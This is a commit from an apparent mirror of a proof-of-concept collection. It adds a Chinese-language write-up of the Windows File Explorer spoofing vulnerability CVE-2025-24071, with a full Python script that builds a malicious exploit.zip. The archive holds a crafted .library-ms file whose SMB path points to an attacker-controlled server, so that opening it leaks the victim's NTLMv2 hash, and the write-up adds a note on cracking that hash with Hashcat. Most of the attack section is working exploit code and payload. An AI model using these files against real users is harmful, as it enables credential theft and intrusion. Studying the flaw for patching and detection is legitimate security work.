mirror of
https://github.com/Threekiii/Awesome-POC.git
synced 2025-08-13 11:28:09 +00:00
update CVE-2025-24071
This commit is contained in:
Threekiii
parent
0ea0894f44
commit
6f36847b2c
@ -894,6 +894,7 @@ _Disclaimer: The technologies, concepts, and tools provided in this Git reposito
|
||||
* Windows SMB 远程代码执行漏洞 CVE-2020-0796
|
||||
* Windows Win32k 内核提权漏洞 CVE-2022-21882
|
||||
* Windows Win32k 本地提权漏洞 CVE-2021-1732
|
||||
* Windows 文件资源管理器欺骗漏洞 CVE-2025-24071
|
||||
* Windows 远程桌面服务漏洞 CVE-2019-0708
|
||||
- 数据库漏洞
|
||||
|
||||
|
||||
250
操作系统漏洞/Windows 文件资源管理器欺骗漏洞 CVE-2025-24071.md
Normal file
250
操作系统漏洞/Windows 文件资源管理器欺骗漏洞 CVE-2025-24071.md
Normal file
@ -0,0 +1,250 @@
|
||||
# Windows 文件资源管理器欺骗漏洞 CVE-2025-24071
|
||||
|
||||
## 漏洞描述
|
||||
|
||||
CVE-2025-24071 是 Windows 文件资源管理器中的一个欺骗漏洞，利用了 Windows 对 `.library-ms` 文件的隐式信任和自动解析特性。攻击者通过构造包含恶意 SMB 路径的 `.library-ms` 文件并打包为 ZIP/RAR 文件，解压时，Windows 资源管理器会自动尝试连接到指定的 SMB 服务器，从而泄露用户的 NTLM Hash。
|
||||
|
||||
参考链接：
|
||||
|
||||
- https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-24071
|
||||
- https://cti.monster/blog/2025/03/18/CVE-2025-24071.html
|
||||
- https://github.com/0x6rss/CVE-2025-24071_PoC
|
||||
- https://github.com/ThemeHackers/CVE-2025-24071
|
||||
|
||||
## 漏洞影响
|
||||
|
||||
```
|
||||
Windows 10 Version 1809 for x64-based Systems
|
||||
Windows 10 Version 1809 for 32-bit Systems
|
||||
Windows Server 2025 (Server Core installation)
|
||||
Windows Server 2025
|
||||
Windows Server 2012 R2 (Server Core installation)
|
||||
Windows Server 2012 R2
|
||||
Windows Server 2016 (Server Core installation)
|
||||
Windows Server 2016
|
||||
Windows 10 Version 1607 for x64-based Systems
|
||||
Windows 10 Version 1607 for 32-bit Systems
|
||||
Windows 10 for x64-based Systems
|
||||
Windows 10 for 32-bit Systems
|
||||
Windows 11 Version 24H2 for x64-based Systems
|
||||
Windows 11 Version 24H2 for ARM64-based Systems
|
||||
Windows Server 2022, 23H2 Edition (Server Core installation)
|
||||
Windows 11 Version 23H2 for x64-based Systems
|
||||
Windows 11 Version 23H2 for ARM64-based Systems
|
||||
Windows 10 Version 22H2 for 32-bit Systems
|
||||
Windows 10 Version 22H2 for ARM64-based Systems
|
||||
Windows 10 Version 22H2 for x64-based Systems
|
||||
Windows 11 Version 22H2 for x64-based Systems
|
||||
Windows 11 Version 22H2 for ARM64-based Systems
|
||||
Windows 10 Version 21H2 for x64-based Systems
|
||||
Windows 10 Version 21H2 for ARM64-based Systems
|
||||
Windows 10 Version 21H2 for 32-bit Systems
|
||||
Windows Server 2022 (Server Core installation)
|
||||
Windows Server 2022
|
||||
Windows Server 2019 (Server Core installation)
|
||||
```
|
||||
|
||||
## 环境搭建
|
||||
|
||||
搭建一个未安装补丁的 Windows 11 Version 23H2 漏洞环境：
|
||||
|
||||
> 可以按 `Win+R` 键，输入 `winver` ，然后按 `Enter` 键查看 Windows 操作系统的版本号。
|
||||
|
||||
|
||||
|
||||
## 漏洞复现
|
||||
|
||||
通过 [该项目](https://github.com/ThemeHackers/CVE-2025-24071) 构造一个恶意压缩包 `exploit.zip`，压缩包中包含一个名为 `document.library-ms` 的恶意文件：
|
||||
|
||||
```
|
||||
python exploit.py -f document -i 192.168.174.2
|
||||
```
|
||||
|
||||
|
||||
|
||||
构造的恶意文件 `document.library-ms` 中包含一个 `<simpleLocation>` 标签，标签直接指向攻击者控制的 SMB 服务器：
|
||||
|
||||
```
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
|
||||
<searchConnectorDescriptionList>
|
||||
<searchConnectorDescription>
|
||||
<simpleLocation>
|
||||
<url>\\192.168.174.2\shared</url>
|
||||
</simpleLocation>
|
||||
</searchConnectorDescription>
|
||||
</searchConnectorDescriptionList>
|
||||
</libraryDescription>
|
||||
```
|
||||
|
||||
由于 Windows 资源管理器隐式信任 `.library-ms` 文件，提取后，Windows 资源管理器会尝试自动解析 SMB 路径 `\\192.168.174.2\shared`，以收集元数据和索引文件信息，此操作将触发从受害者系统到攻击者控制的 SMB 服务器的隐式 NTLM 身份验证握手。攻击者控制的 SMB 服务器接收到 NTLMv2 Hash：
|
||||
|
||||
|
||||
|
||||
攻击者可以使用 Hashcat 对 NTLMv2 Hash 进行破解（`-m 5600`）。
|
||||
|
||||
## 漏洞 POC
|
||||
|
||||
```python
|
||||
import os
|
||||
import zipfile
|
||||
import argparse
|
||||
import time
|
||||
import sys
|
||||
import itertools
|
||||
from colorama import init, Fore, Style
|
||||
|
||||
init()
|
||||
|
||||
def loading_animation(duration):
|
||||
"""Display a simple loading animation for specified duration"""
|
||||
spinner = itertools.cycle(['-', '/', '|', '\\'])
|
||||
end_time = time.time() + duration
|
||||
while time.time() < end_time:
|
||||
sys.stdout.write(f'\r{Fore.YELLOW}Processing {next(spinner)}{Style.RESET_ALL}')
|
||||
sys.stdout.flush()
|
||||
time.sleep(0.1)
|
||||
sys.stdout.write('\r')
|
||||
|
||||
def print_ascii_art():
|
||||
"""Print ASCII art banner"""
|
||||
art = r"""
|
||||
______ ____ ____ _______ ___ ___ ___ _____ ___ _ _ ___ ______ __
|
||||
/ |\ \ / / | ____| |__ \ / _ \ |__ \ | ____| |__ \ | || | / _ \ |____ | /_ |
|
||||
| ,----' \ \/ / | |__ ______ ) | | | | | ) | | |__ ______ ) | | || |_ | | | | / / | |
|
||||
| | \ / | __| |______/ / | | | | / / |___ \ |______/ / |__ _| | | | | / / | |
|
||||
| `----. \ / | |____ / /_ | |_| | / /_ ___) | / /_ | | | |_| | / / | |
|
||||
\______| \__/ |_______| |____| \___/ |____| |____/ |____| |_| \___/ /_/ |_|
|
||||
|
||||
|
||||
Windows File Explorer Spoofing Vulnerability (CVE-2025-24071)
|
||||
by ThemeHackers
|
||||
"""
|
||||
print(f"{Fore.CYAN}{art}{Style.RESET_ALL}")
|
||||
|
||||
def show_affected_versions():
|
||||
"""Display list of affected versions"""
|
||||
affected_versions = [
|
||||
"Windows 10 Version 1809 for x64-based Systems",
|
||||
"Windows 10 Version 1809 for 32-bit Systems",
|
||||
"Windows Server 2025 (Server Core installation)",
|
||||
"Windows Server 2025",
|
||||
"Windows Server 2012 R2 (Server Core installation)",
|
||||
"Windows Server 2012 R2",
|
||||
"Windows Server 2016 (Server Core installation)",
|
||||
"Windows Server 2016",
|
||||
"Windows 10 Version 1607 for x64-based Systems",
|
||||
"Windows 10 Version 1607 for 32-bit Systems",
|
||||
"Windows 10 for x64-based Systems",
|
||||
"Windows 10 for 32-bit Systems",
|
||||
"Windows 11 Version 24H2 for x64-based Systems",
|
||||
"Windows 11 Version 24H2 for ARM64-based Systems",
|
||||
"Windows Server 2022, 23H2 Edition (Server Core installation)",
|
||||
"Windows 11 Version 23H2 for x64-based Systems",
|
||||
"Windows 11 Version 23H2 for ARM64-based Systems",
|
||||
"Windows 10 Version 22H2 for 32-bit Systems",
|
||||
"Windows 10 Version 22H2 for ARM64-based Systems",
|
||||
"Windows 10 Version 22H2 for x64-based Systems",
|
||||
"Windows 11 Version 22H2 for x64-based Systems",
|
||||
"Windows 11 Version 22H2 for ARM64-based Systems",
|
||||
"Windows 10 Version 21H2 for x64-based Systems",
|
||||
"Windows 10 Version 21H2 for ARM64-based Systems",
|
||||
"Windows 10 Version 21H2 for 32-bit Systems",
|
||||
"Windows Server 2022 (Server Core installation)",
|
||||
"Windows Server 2022",
|
||||
"Windows Server 2019 (Server Core installation)",
|
||||
"Windows Server 2019"
|
||||
]
|
||||
print(f"{Fore.GREEN}Affected versions:{Style.RESET_ALL}")
|
||||
for version in affected_versions:
|
||||
print(f"- {version}")
|
||||
|
||||
def create_exploit(file_name, ip_address):
|
||||
print_ascii_art()
|
||||
print(f"{Fore.GREEN}Creating exploit with filename: {file_name}.library-ms{Style.RESET_ALL}")
|
||||
print(f"{Fore.GREEN}Target IP: {ip_address}{Style.RESET_ALL}\n")
|
||||
|
||||
library_content = f"""<?xml version="1.0" encoding="UTF-8"?>
|
||||
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
|
||||
<searchConnectorDescriptionList>
|
||||
<searchConnectorDescription>
|
||||
<simpleLocation>
|
||||
<url>\\\\{ip_address}\\shared</url>
|
||||
</simpleLocation>
|
||||
</searchConnectorDescription>
|
||||
</searchConnectorDescriptionList>
|
||||
</libraryDescription>"""
|
||||
|
||||
library_filename = f"{file_name}.library-ms"
|
||||
|
||||
print(f"{Fore.BLUE}Generating library file...{Style.RESET_ALL}")
|
||||
loading_animation(1.5)
|
||||
try:
|
||||
with open(library_filename, 'w', encoding='utf-8') as f:
|
||||
f.write(library_content)
|
||||
print(f"{Fore.GREEN}✓ Library file created successfully{Style.RESET_ALL}")
|
||||
except IOError as e:
|
||||
print(f"{Fore.RED}✗ Error writing file: {e}{Style.RESET_ALL}")
|
||||
return
|
||||
|
||||
print(f"\n{Fore.BLUE}Creating ZIP archive...{Style.RESET_ALL}")
|
||||
loading_animation(1.5)
|
||||
try:
|
||||
with zipfile.ZipFile('exploit.zip', 'w', zipfile.ZIP_DEFLATED) as zipf:
|
||||
zipf.write(library_filename)
|
||||
print(f"{Fore.GREEN}✓ ZIP file created successfully{Style.RESET_ALL}")
|
||||
except IOError as e:
|
||||
print(f"{Fore.RED}✗ Error creating ZIP file: {e}{Style.RESET_ALL}")
|
||||
return
|
||||
|
||||
print(f"\n{Fore.BLUE}Cleaning up temporary files...{Style.RESET_ALL}")
|
||||
loading_animation(1.0)
|
||||
try:
|
||||
if os.path.exists(library_filename):
|
||||
os.remove(library_filename)
|
||||
print(f"{Fore.GREEN}✓ Cleanup completed{Style.RESET_ALL}")
|
||||
except OSError:
|
||||
print(f"{Fore.RED}✗ Warning: Could not delete {library_filename}{Style.RESET_ALL}")
|
||||
|
||||
print(f"\n{Fore.GREEN}Process completed successfully!{Style.RESET_ALL}")
|
||||
print(f"Output file: {Fore.YELLOW}exploit.zip{Style.RESET_ALL}")
|
||||
print(f"Run this file on the victim machine and you will see the effects of the vulnerability such as using ftp smb to send files etc.")
|
||||
if __name__ == "__main__":
|
||||
|
||||
parser = argparse.ArgumentParser(description='Create an exploit ZIP file or show affected versions')
|
||||
parser.add_argument('-f', '--file-name',
|
||||
help='Name of the library file (without extension)')
|
||||
parser.add_argument('-i', '--ip-address',
|
||||
help='IP address (e.g., 192.168.1.111)')
|
||||
parser.add_argument('-afv', '--affected-versions', action='store_true',
|
||||
help='Display affected versions')
|
||||
|
||||
args = parser.parse_args()
|
||||
|
||||
|
||||
if not (args.file_name or args.ip_address or args.affected_versions):
|
||||
print(f"{Fore.RED}✗ Error: No arguments provided{Style.RESET_ALL}")
|
||||
parser.print_help()
|
||||
|
||||
elif args.affected_versions:
|
||||
show_affected_versions()
|
||||
|
||||
if args.file_name and args.ip_address:
|
||||
print(f"\n{Fore.YELLOW}Proceeding with exploit creation...{Style.RESET_ALL}")
|
||||
create_exploit(args.file_name, args.ip_address)
|
||||
|
||||
elif args.file_name or args.ip_address:
|
||||
print(f"\n{Fore.RED}✗ Error: Both --file-name and --ip-address are required for exploit creation{Style.RESET_ALL}")
|
||||
|
||||
|
||||
else:
|
||||
if args.file_name and args.ip_address:
|
||||
create_exploit(args.file_name, args.ip_address)
|
||||
else:
|
||||
print(f"{Fore.RED}✗ Error: Both --file-name and --ip-address are required{Style.RESET_ALL}")
|
||||
parser.print_help()
|
||||
```
|
||||
|
||||
## 漏洞修复
|
||||
|
||||
- 微软已发布安全补丁，链接： https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-24071
|
||||
Binary file not shown.
|
After Width: | Height: | Size: 360 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 176 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 221 KiB |
Loading…
x
Reference in New Issue
Block a user